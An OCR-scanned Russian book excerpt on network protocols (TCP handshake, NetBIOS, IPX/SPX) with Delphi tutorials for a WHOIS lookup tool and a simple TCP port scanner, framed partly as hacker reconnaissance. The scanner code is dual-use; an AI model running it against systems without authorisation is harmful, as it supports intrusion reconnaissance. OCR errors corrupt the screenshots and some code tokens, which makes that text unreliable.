4.1.4. Медленный, но надежный TCP Как я уже сказал, протокол TCP лежит на одном уровне с UDP и работает поверх IP (для отправки данных используется IP). Именно поэтому протоколы TCP и IP часто объединяют одним названием TCP/IP, так как TCP неразрывно связан с IP. В отличие от UDP протокол TCP устраняет недостатки своего транспорта (IP). В этом протоколе заложены средства установления связи между приемником и передатчиком, обеспечение целостности данных и гарантии их доставки. Когда данные отправляются в сеть по TCP, то на отправляющей стороне включается таймер. Если в течение определенного времени приемник не подтвердит получение данных, то будет предпринята еще одна попытка отправки данных. Если приемник получит испорченные данные, то он сообщит об этом источнику и попросит снова отправить испорченные пакеты. Благодаря этому обеспечивается гарантированная доставка данных.

Простые приемы работы с сетью 139_ Когда нужно отправить сразу большую порцию данных, не вмещающихся в один пакет, то они разбиваются на несколько TCP-пакетов. Пакеты отправляются порциями по несколько штук (зависит от настроек стека). Когда сервер получает порцию пакетов, то он восстанавливает их очередность и собирает данные вместе (даже если пакеты прибыли не в том порядке, в котором они отправлялись). Из-за лишних накладных расходов на установку соединения, подтверждения доставки и повторную пересылку испорченных данных протокол TCP намного медленней UDP. Зато TCP можно использовать там, где нужна гарантия доставки и большая надежность. Хотя надежность нельзя назвать сильной (нет шифрования и есть возможность взлома), но она достаточная и намного больше, чем у UDP. По крайней мере, тут спуфинг не может быть реализован так просто, как в случае с UDP, и в этом вы скоро убедитесь, когда прочтете про процесс установки соединения.

Опасные связи TCP Давайте посмотрим, как протокол TCP обеспечивает надежность соединения. Все начинается еще на этапе попытки соединения двух компьютеров. 1. Клиент, который хочет соединиться с сервером, отправляет SYN-запрос на сервер, указывая номер порта, к которому он хочет присоединиться, и специальное число (чаще всего случайное). 2. Сервер отвечает своим сегментом SYN, содержащим специальное число сервера. Он также подтверждает приход SYN-пакета от клиента с использованием АСК-ответа, где специальное число, отправленное клиентом увеличено на 1. 3. Клиент должен подтвердить приход SYN от сервера с использованием АСК — специальное число сервера плюс 1. Получается, что при соединении клиента с сервером они обмениваются специальными числами. Эти числа и используются в дальнейшем для обеспечения целостности и защищенности связи. Если кто-то другой захочет вклиниться в установленную связь (с помощью спуфинга), то ему надо будет подделать эти числа. Но так как они большие и выбираются случайным образом, то такая задача достаточно сложна, хотя Кевин Митник в свое время смог решить ее. Но это уже другая история, и не будем уходить далеко в сторону. Стоит еще отметить, что приход любого пакета подтверждается АСК-ответом, что обеспечивает гарантию доставки данных.

Глава 4.1.5. Прикладные протоколы — загадочный NetBIOS NetBIOS (Network Basic Input Output System, базовая система сетевого ввода вывода) — это стандартный интерфейс прикладного программирования. А проще говоря, это всего лишь набор API-функций для работы с сетью (хотя весь NetBIOS состоит только из одной функции, но зато какой...). NetBIOS был разработан в 1983 году компанией Sytek Corporation специально для IBM. Система NetBIOS определяет только программную часть передачи данных, т. е. как должна работать программа для передачи данных по сети. А вот как будут физически передаваться данные, в этом документе не говорится ни слова, да и в реализации отсутствует что-нибудь подобное. Если посмотреть на рис. 4.1, то можно увидеть, что NetBIOS находится в самом верху схемы. Он расположен на уровнях сеанса, представления и приложения. Такое его расположение — лишнее подтверждение моих слов. NetBIOS только формирует данные для передачи, а физически передаваться они могут только с помощью другого протокола, например TCP/IP, IPX/SPX и т. д. Это значит, что NetBIOS является независимым от транспорта. Если другие варианты протоколов верхнего уровня (только формирующие пакеты, но не передающие) привязаны к определенному транспортному протоколу, который должен передавать сформированные данные, то пакеты NetBIOS может передавать любой другой протокол. Прочувствовали силу? Представьте, что вы написали сетевую программу, работающую через NetBIOS. А теперь осознайте, что она будет прекрасно работать как в unix/windows сетях через TCP, так и в Novell-сетях через IPX. С другой стороны, для того, чтобы два компьютера смогли соединиться друг с другом с помощью NetBIOS, необходимо чтобы на обоих стоял хотя бы один общий транспортный протокол. Если один компьютер будет посылать NetBIOS пакеты с помощью TCP, а другой с помощью IPX, то эти компьютеры друг друга не поймут. Транспорт должен быть одинаковый. Стоит сразу же отметить, что не все варианты транспортных протоколов по умолчанию могут передавать по сети пакеты NetBIOS. Например, IPX/SPX сам по себе этого не умеет. Чтобы его обучить, нужно иметь "NWLink IPX/SPX/NetBIOS Compatible Transport Protocol". Так как NetBIOS чаще всего использует в качестве транспорта протокол TCP, который работает с установкой виртуального соединения между клиентом и сервером, то по этому протоколу можно передавать достаточно важные данные. Целостность и надежность передачи будет осуществлять TCP/IP, a NetBIOS дает только удобную среду для работы с пакетами и программирования сетевых приложений. Так что если вам нужно отправить в сеть какие-либо файлы, то можно смело положиться на NetBIOS.

Простые приемы работы с сетью 4.1.6. N e t B E U I В 1985 году уже сама IBM сделала попытку превратить NetBIOS в полноценный протокол, который умеет не только формировать данные для передачи, но и физически передавать их по сети. Для этого был разработан NetBEUI (NetBIOS Extended User Interface, расширенный пользовательский интерфейс NetBIOS), который был предназначен именно для описания физической части передачи данных протокола NetBIOS. Сразу хочу отметить, что NetBEUI является не маршрутизируемым протоколом, и первый же маршрутизатор будет отбиваться от таких пакетов как теннисистка от мячиков :). Это значит, что если между двумя компютерами стоит маршрутизатор и нет другого пути для связи, то им не удастся установить соединение через NetBEUI.

4.1.7. Сокеты Windows Сокеты (Sockets) — всего лишь программный интерфейс, который облегчает взаимодействие между различными приложениями. Современные сокеты родились из программного сетевого интерфейса, реализованного в ОС BSD Unix. Тогда этот интерфейс создавался для облегчения работы с TCP/IP, на верхнем уровне. С помощью сокетов легко реализовать большинство известных вам протоколов, которые используются каждый день при выходе в Интернет. Достаточно только назвать HTTP, FTP, POP3, SMTP и далее в том же духе. Все они используют для отправки своих данных или TCP, или UDP и легко программируются с помощью библиотеки sockets/winsock.

4.1.8. Протокол IPX/SPX Осталось только рассказать еще о нескольких протоколах, которые встречаются в повседневной жизни чуть реже, но зато они не менее полезны. Первый и последний на очереди — это IPX/SPX. Протокол IPX (Internetwork Packet Exchange) сейчас используется, наверно, только в сетях фирмы Novell. В наших любимых окошках есть специальная служба Клиент для сетей Novell, с помощью которой вы сможете работать в таких сетях. IPX работает наподобие IP и UDP — без установления связи, а значит без гарантии доставки со всеми последующими достоинствами и недостатками. SPX (Sequence Packet Exchange) — это транспорт для IPX, который работает с установлением связи и обеспечивает целостность данных. Так что если вам понадобится надежность при использовании IPX, то используйте связку IPX/SPX или IPX/SPX11.

Глава Сейчас IPX уже теряет свою популярность, но помнятся еще времена DOS, когда все сетевые игры работали через этот протокол. Как видите, в Интернете протоколов целое море, но большинство из них взаимосвязано, как, например, HTTP/TCP/IP. Одни протоколы могут быть предназначены для одной цели, но абсолютно непригодны для другой, потому что создать что-то идеальное невозможно. У каждого будут свои достоинства и недостатки. И все же модель OSI, принятая еще на заре появления Интернета, не утратила своей актуальности до сих пор. По ней работает все и вся. Главное ее достоинство — скрывать сложность сетевого общения между компьютерами, с чем старушка OSI справляется без особых проблем.

4.2. Их разыскивают бойцы 139-го порта Первое, с чем я хочу вас познакомить в этой главе на практике — это написание собственной утилиты Whols. Я думаю, что любой профессиональный житель сети Интернет хоть раз, но пользовался подобными сервисами. Хакеры пользуются подобными сервисами, чтобы получить подробную информацию о сервере, который они хотят взломать. Владельцы сайтов, которые хотят зарегистрировать себе имя в какой-нибудь зоне, используют Whols для того чтобы узнать, свободен ли интересующий их домен. Вообще-то целей использования данной утилиты достаточно много, потому что это громадная база данных, в которой хранится много информации обо всех доменах всемирной сети. Для создания утилиты Whols нам понадобится библиотека Indy. Если вы пользуетесь Delphi 6 или Delphi 7, то у вас она уже установлена в системе, и можно приступать к ее использованию. Обладатели более старой версии могут направить сайт корпорации Borland по адресу www.borland.ru. Можно еще попробовать поискать в самом крупном хранилище компонентов для Delphi — www.torry.net в разделе VCL.

Воспользоваться сервисом Whols достаточно просто, и таких сервисов в Интернете очень много, например www.nic.ru или www.ripn.net. А как было бы хорошо, если бы у вас была своя программа, чтобы больше никогда не приходилось лазить по серверам в Интернете и ожидать, пока загрузится десяток ненужных страниц. Запускайте Delphi, и скоро у вас появится подобная утилита. Создайте новый проект. Перенесите на форму один компонент TEdit, одну кнопку TButton и один компонент тмето (я его назвал ResuitMemo). Переименуйте свойство Caption у кнопки на найти. В компонент TEdit мы будем вводить имя домена, информацию о котором хотим получить. После нажатия кнопки поиска в компоненте тмето будет появляться все, что наша программа сможет найти в сети про указанный домен.

Простые приемы работы с сетью Рис. 4.2. Внешний вид будущей программы Внешние элементы формы готовы (рис. 4.2), теперь пора приступить к реализации нашей задумки. Найдите закладку Indy Clients на палитре компонентов и перенесите на форму компонент idwhois с этой закладки (у меня он последний справа, рис. 4.3). 7' Delphi 7 • project! File E i S ac Vw Project R n C m o e t D t b s T dt e r h e i u o p n n aa a e c Q e o I d Ci ns | \п& S res | I d Interceots |n w IO H n l r R o t n y le t i ev r n v Id / a d s e Рис. 4.З. Закладка Indy Clients Object Inspector I dWhois Properties Events) ASCIIFiltet BoundIP BoundPort Host Intercept lOHandbr MaxLineAction MaxLineLencith Nm ae Pott ReadTirneout RecvBufferSi;

e SendBufferSize Tag All shown m ••• True 0 whois.intemic.net maEKception le3S4_ 43 Q 32768 32768 0 z~ Рис. 4.4. Свойства компонента IdWhols Глава Выделите компонент idwhois и перейдите в окно инспектора объектов. Посмотрите на свойство Host. Здесь вы должны указать адрес сервера, у которого есть сервис Whois. Точнее сказать, вы должны указать именно на этот сервис. По умолчанию стоит адрес whois.internic.net. Я считаю, что на первых порах его менять не надо, потому что он вполне рабочий и очень быстрый. Но если вы решите изменить этот адрес, то обязательно проверьте, какой порт используется у вашего любимчика. Если отличный от 43, то вы ДОЛЖНЫ Изменить СВОЙСТВО Port у Компонента IdWhois. В принципе, настройки по умолчанию достаточно работают для любых доменов в зоне COM, 0RG и NET. Если вас интересует что-то специфическое, то только тогда вам может понадобиться смена сервера whois. Если вам нужно узнать информацию о российском домене.ru, то придется искать российский сервис. В программировании компоненты indy так же просты, как и в настройке. Создайте обработчик события onclick для кнопки и напишите в нем следующее: procedure TfmMain.ButtonlClickfSender: TObject);

var Line, FindResult: string;

iPos: Integer;

begin ResultsMemo.Clear;

//Очистка содержимого компонента TMemo FindResult :^ IdWhois.Whois(Editl.Text);

//Запускаем поиск //Дальше идет форматирование полученной информации while Length(FindResult) > 0 do begin iPos := Pos(#10, FindResult);

Line := Copy{FindResult, 1, iPos - 1);

ResultsMemo.Lines.Add(Line);

Delete(FindResult, 1, Length(Line)+1);

end;

end;

В первой строке очищаем содержимое компонента тмето, чтобы избавиться от текста, оставшегося от предыдущих поисков. Во второй строке кода запускается поиск. Для этого выполняется метод whois компонента iDWhois: FindResult := IdWhois.Whois(Editl.Text);

В качестве единственного параметра этого метода передается содержимое строки ввода Editl — имя искомого домена. Результат поиска сохраняется в переменной FindResult. Хотя результат состоит из многих строк, в пере Простые приемы работы с сетью менной он выглядит как одна длинная строка, в которой разделителем текстовых строк является шестнадцатеричный символ #ю. Чтобы текст выглядел нормально, мы должны отформатировать содержимое переменной FindResult. Для форматирования запускается цикл: while Length(FindResult) > 0 do begin end;

Как он работает? Пока длина (Length) строки, содержащейся в переменной FindResult, больше нуля, будет выполняться код, расположенный между begin и end. Внутри цикла вначале ищется первый символ #ю в строке переменной FindResult с помощью Pos (#10, FindResult). Результат сохраняется в переменной IPOS. Например, если в FindResult находится строка, в которой десятый символ — это #10, то в переменную iPos попадет цифра ю. В следующей строке кода: Line:=Copy(FindResult, I, iPos -1)) копируется текст в переменную Line из переменной FindResult, начиная с первого символа по символ #ю. Таким образом выделяется первая строка текста. После этого можно смело добавить эту строчку в компонент тмето с помощью команды: ResultsMemo.Lines,Add(Line). В последней строке цикла удаляется уже выбранный текст с помощью команды: Delete(FindResult, I, Length(Line)+1) Теперь в переменной FindResult нет текста, который скопирован из нее и добавлен в тмегао. После этого происходит проверка, если длина строки в переменной FindResult больше нуля, то цикл продолжает свою работу, чтобы извлечь следующую строку. Если переменная FindResult пустая, то цикл остановится. Что такое символ #10? Это код символа перевода каретки (перехода на новую строку), который используется в ОС семейства *nix. В Windows принято конец строки обозначать парой символов: #13 и #ю (конец строки и перевод каретки). Если вы пишете только под *nix, то весь код по форматированию результирующего текста вам не нужен. Вы можете просто написать. ResultsMemo.Text:=FindResult;

В Windows такой трюк не пройдет, потому что текст в компоненте тмето получится неформатированным и просто непригодным для восприятия. Поэтому пришлось немного помучиться, ручное форматирование тут достаточно уместное занятие.

Глава Простенькая утилита для работы с сервисом whois готова. Теперь вам не надо заходить на какой-нибудь сайт в Интернете, чтобы выяснить информацию о интересующем имени домена. Вы просто запускаете свою программу, и она сама обращается куда надо и показывает вам информацию в удобном для восприятия виде. Конечно же, вы могли бы воспользоваться творением другого программиста, но знать, как все работает, вы обязаны. А работает все просто, потому что компонент отправляет запрос серверу в Интернете (в данном случае whois.internic.net) и получает ответ. Никаких самостоятельных поисков по базам данных не происходит. На компакт-диске в директории \Примеры\Глава 4\WhoIs вы можете увидеть пример этой программы и цветные версии рисунков данного раздела.

4.3. Сканер портов Что такое порт? Каждая сетевая программа при старте открывает для себя любой свободный порт. Есть программы, которые открывают заведомо определенный порт, например, для FTP это 21-й порт, HTTP— 80-й порт и т. д. Теперь представим себе ситуацию, что на сервере запущено два сервиса: FTP и WEB. Это значит, что на сервере работают две программы, к которым можно присоединиться по сети. Скажем, вы хотите присоединиться к FTP-серверу и посылаете запрос по адресу XXX.XXX.XXX.XXX на порт 21, Сервер получает такой запрос и по номеру порта определяет, что ваш запрос относиться именно к FTP-серверу, а не WEB. Получается, что сетевые порты — это что-то виртуальное, что увидеть невозможно, а точнее сказать — это просто число, по которому программы и ОС определяют, кому пришли данные по сети. Если бы не было портов, то компьютер не смог определить, для кого именно пришел сетевой запрос. Зачем нужно сканировать порты? Если знать, какие порты открыты, то можно понять, какие программы запущены на удаленном компьютере. Так, например, если на компьютере открыт 21-й порт, то значит, на нем работает FTP-сервер, и к нему можно попытаться присоединиться с помощью про: граммы FTP Client. Как сканируются порты? Для понимания этого нужно представлять процесс соединения двух компьютеров. Когда двое в сети хотят соединиться, то один из них посылает другому запрос с номером порта, на котором должно произойти соединение. По этому порту другая сторона определяет, к какой программе хотят подключиться. Если какое-то приложение действительно открыло нужный порт и ожидает соединения, то запрашиваемый получит ответ об успешности попытки. Все проверки пароля и прочие защитные механизмы происходят уже после соединения с портом удаленного компьютера, поэтому мы можем произвести соединение и узнать о доступности порта, даже если программа требует пароля.

Простые приемы работы с сетью Теперь перейдем от слов к делу. Запустите Delphi. Перенесите на форму следующие компоненты: С! одну кнопку (имя Buttonl);

• ДВа компонента TLabel (с именами Labell И Label2);

П ДВа компонента TEdit (С Именами Editl И Edit2). Теперь у кнопки поменяйте свойство caption на Сканировать, у Labell на Начальный порт, а у Labei2 на До.

7 Сканер порю в До !Edit Рис. 4. 5. Форма будущего сканера Если вы все сделали правильно, то у вас должно получиться нечто похожее на изображенное на рис. 4.5. После нажатия кнопки мы будем сканировать порты, начиная от номера, указанного в Editl, до номера, указанного В Edit2.

Теперь нужно перенести на форму самый важный компонент —- Tcpciient с закладки Internet. В нем фирма Borland уже реализовала для нас все необходимые функции для работы с сетью по протоколу TCP/IP и, конечно же, сканирование тоже.

7 Delphi ? - Project! File Edit Search View Project Run Component t>Jntetnefjj WebSeivices | WebSnao 1 Dialogs [ Sarrales | Ra " http:

- * 1 "'" "• ' Jj_. I Рис. 4. 6. Компонент TCPCIient расположен на закладке Internet Прежде чем приступить к программированию, давайте еще немного улучшим форму. Установите у Editl свойство Text равным 1, а у Edit2 — 2. Таким образом мы задаем значения по умолчанию для начального и конечного Глава порта. И перенесите еще компонент тмето. Желательно растянуть его на всю оставшуюся свободную часть формы. Здесь мы будет отображать состояние сканирования. В итоге у вас должно получиться нечто похожее на рис. 4.7.

t Сканер портов Сканровать j Начальный порт J1 До ] ш.

Рис. 4.7. Окончательная форма будущего сканера Теперь с оформлением покончено, пора переходить к программированию. В принципе, код достаточно легкий и помещается всего-то в 8 строчек. Так что скоро вы увидите свой сканер в действии. Для начала создадим событие onclick кнопки Сканировать. В этом обработчике напишите следующее (листинг 4.1). КЛист^нг4.11&кадаовдав портов* •/.'.'" $*' ' ^ " - у ^ •• J procedure TForml.ButtonlClick(Sender: TObject);

var i:Integer;

ipstr:String;

begin ipstr:='127.0.0.1';

//Запрашиваем адрес компьютера. if not InputQuery('Внимание', 'Введи IP-адрес', ipstr) then exit;

//Запускаю цикл for i:=StrToInt(Editl.Text) to StrToInt(Edit2.Text) do begin //Устанавливаем порт TcpClientl.RemotePort:=IntToStr(i);

//Пытаемся его открыть TcpClientl.Open;

Простые приемы работы с сетью //Если удалось, то сообщаем об этом if TcpClientl.Connected then Memol.Lines.Add(IntToStr(i)+' открыт');

//Закрываем порт TcpClientl.Close;

end;

end;

Ну а теперь давайте разберемся, как работает наш сканер. В разделе var объявлены две переменные i целочисленного типа (integer) и i p s t r строчного типа (string). В начале блока кода (после слова begin) в первой строке переменной ipst присваивается значение 127.0.0.1. Это будет значение по умолчанию для адреса сканируемой машины. Следующей строкой у пользователя запрашивается IP-адрес машины:

if not InputQuery( Atention', 'Enter IP Address', ipstr) then exit;

Здесь использована функция InputQuery. Она выводит стандартное окно ввода (вы можете его увидеть на рис. 4.8). Функции передается три параметра. 1. Текст заголовка окна. 2. Текст, отображаемый над строкой ввода. 3. Переменная типа строки, куда будет записан результат.

7 ' Внимание Введи IP адрес Cancel Рис. 4.8. Окно ввода IP-адреса Если пользователь ввел значение и нажал кнопку ОК, то функция вернет true, иначе возвратит false. Поэтому использована конструкция: if not InputQuery (. then exit;

.). Которая означает: "Если пользователь не нажал ОК, то выйти". После этого запускается цикл, внутри которого будут перебираться все порты: for i:=StrToInt(Editl.Text) to StrToInt(Edit2.Text) do Теперь посмотрим на само сканирование, которое находится между begin и end цикла. Первая строка указывает на то, какой порт мы хотим открыть: TcpClienti.RemotePort:=IntToStr(i);

Здесь мы заполняем у компонента TcpClientl свойство RemotePort значением, указанным в переменной i. Свойство RemotePort является строковым, Глава поэтому число i нужно конвертировать в строку с помощью intTostr. Переменная i у нас указывает порт, который надо сканировать. Едем дальше. Следующей строкой пытаемся открыть порт с помощью метода Open компонента Tcpciienti:

TcpClientl.Open;

Теперь НаДО проверить, еСЛИ СВОЙСТВО Connected КОМПОНеПТа T c p C l i e n t l равно true, то соединение прошло успешно. В этом случае надо вывести сообщение об этом в компонент Memoi:

Memol.Lines.Add(IntToStr(i) + ' открыт');

Pages:     | 1 || 3 | 4 |   ...   | 5 |



© 2011 www.dissers.ru - «Бесплатная электронная библиотека»

Материалы этого сайта размещены для ознакомления, все права принадлежат их авторам.
Если Вы не согласны с тем, что Ваш материал размещён на этом сайте, пожалуйста, напишите нам, мы в течении 1-2 рабочих дней удалим его.